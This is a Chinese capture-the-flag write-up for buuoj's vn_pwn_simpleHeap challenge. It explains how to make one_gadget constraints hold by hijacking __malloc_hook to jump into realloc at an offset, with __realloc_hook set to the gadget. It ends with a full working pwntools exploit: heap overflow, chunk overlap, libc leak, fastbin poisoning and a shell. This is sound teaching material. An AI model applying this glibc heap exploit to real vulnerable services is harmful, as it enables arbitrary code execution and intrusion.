关于利用realloc函数调整栈使onegadget可执行。

此贴主要讲述:
free_hook无法劫持,劫持__malloc_hook填onegadget全部失效的情况。我们利用realloc函数调整栈的位置,使得onegadget可执行。
直接上题了。buuoj上面的一个题。
关于利用realloc函数调整栈使onegadget可执行。_第1张图片
保护全开。
漏洞点在于edit函数的溢出
关于利用realloc函数调整栈使onegadget可执行。_第2张图片
常规思路,修改size,利用chunk overlap打free_hook,或者malloc_hook即可。
但是free_hook打不了,而且四次ogg全部失效。
那么利用realloc函数调整栈的位置。
0x1
realloc函数先判断realloc_hook是否为空,非空,就会执行realloc_hook
malloc函数先判断malloc_hook是否为null,非空,则去执行malloc_hook指向的位置
如图所示realloc函数的入口处,ida中深蓝色的变量就是全局变量了
关于利用realloc函数调整栈使onegadget可执行。_第3张图片
关于利用realloc函数调整栈使onegadget可执行。_第4张图片
0x2
我们只需要将malloc_hook填上realloc函数的基地址+offest
然后将realloc_hook填上ogg。
那么我们的执行流程就是,当我们调用malloc时,因为malloc_hook被劫持,rip就去realloc基地址+offest处执行,之后自然还会跳到realloc_hook去执行ogg。
由于realloc函数的开头和结尾,存在大量的push指令和pop指令,如图:
关于利用realloc函数调整栈使onegadget可执行。_第5张图片
关于利用realloc函数调整栈使onegadget可执行。_第6张图片
当我们把offest调整成2 4 6 12 13时,我们就会少执行相应的push指令达到,达到将栈抬高的结果
我们先来看看one_gadget能够成功的要求:
关于利用realloc函数调整栈使onegadget可执行。_第7张图片
第一个要求了rax,其他都是只要求rsp+offest后为0x00
接下来我们选取0x4526a进行调试,此时malloc_hook为realloc函数地址,realloc_hook为ogg。
如图所示:执行到execve函数,第二个参数是根据esp去获取的,非空,那此时的栈位置坑定不满足。
关于利用realloc函数调整栈使onegadget可执行。_第8张图片这里也刚好对应,ogg的要求esp+0x30==null这个条件,rsp是去偏移0x30位置寻找的参数。
stack 200观察一下,栈好像+4 +13都可以,都能使得第二个参数为0,但是我用+4的时候,这个位置不知道什么原因被填充上了,不为0,如图:
关于利用realloc函数调整栈使onegadget可执行。_第9张图片
那么我们选取+13这个偏移,如图,execve的第二个参数为0了,这就说明现在的栈空间满足ogg了,getshell成功。
关于利用realloc函数调整栈使onegadget可执行。_第10张图片

完整的exp

# -*- coding: utf-8 -*-

from PwnContext.core import *
binary = './vn_pwn_simpleHeap'
debug_libc = './libc-2.23.so'
elf = ELF(binary)
libc = ELF(debug_libc)
local = 0

if local == 1 :
    sh = remote("node3.buuoj.cn","28756")
else:
    ctx.binary = binary
    ctx.remote_libc = debug_libc
    ctx.debug_remote_libc = True
    sh = ctx.start()


def edit(idx,content):
    sh.sendlineafter("choice:","2")
    sh.sendlineafter("idx?",str(idx))
    sh.sendafter("content:",str(content))

def add(size,content):
    sh.sendlineafter("choice:","1")
    sh.sendlineafter("size?",str(size))
    sh.sendlineafter("content:", str(content))


def show(size):
    sh.sendlineafter("choice:","3")
    sh.sendlineafter("idx?",str(size))

def free(idx):
    sh.sendlineafter("choice:","4")
    sh.sendlineafter("idx?",str(idx))

add(0x28,"AA")  # 0
add(0x68,"cc")  # 1
add(0x68,"DD")  # 2
add(0x68,"DD")  # 3
add(0x68,"DD")  # 4
edit(0,'X'*0x28+'\xe1')
free(1)
add(0x68,'hh') # 1  切割
show(2)
addr=u64(sh.recv(6).ljust(8,'\x00'))
libcs = addr - 0x3c4b78
print "libc:" + hex(libcs)
malloc_hook = libcs + libc.sym['__malloc_hook']
ogg = libcs + 0x4526a # 0x45216 0x4526a 0xf02a4 0xf1147
add(0x68,'ff') # 5
free(2)   #
edit(5,p64(malloc_hook-0x23)+'\n')
add(0x68,'cyberh')     # 2
add(0x68,'\n')     # 6
realloc_hook = libcs + libc.symbols['__libc_realloc']

edit(6,"\x00"*(0x13-0x8)+p64(ogg)+p64(realloc_hook+13)+'\n')   #call execve 

sh.sendlineafter("choice:", "1")
gdb.attach(sh)
sh.sendlineafter("size?", '100')
sh.interactive()

你可能感兴趣的:(关于利用realloc函数调整栈使onegadget可执行。)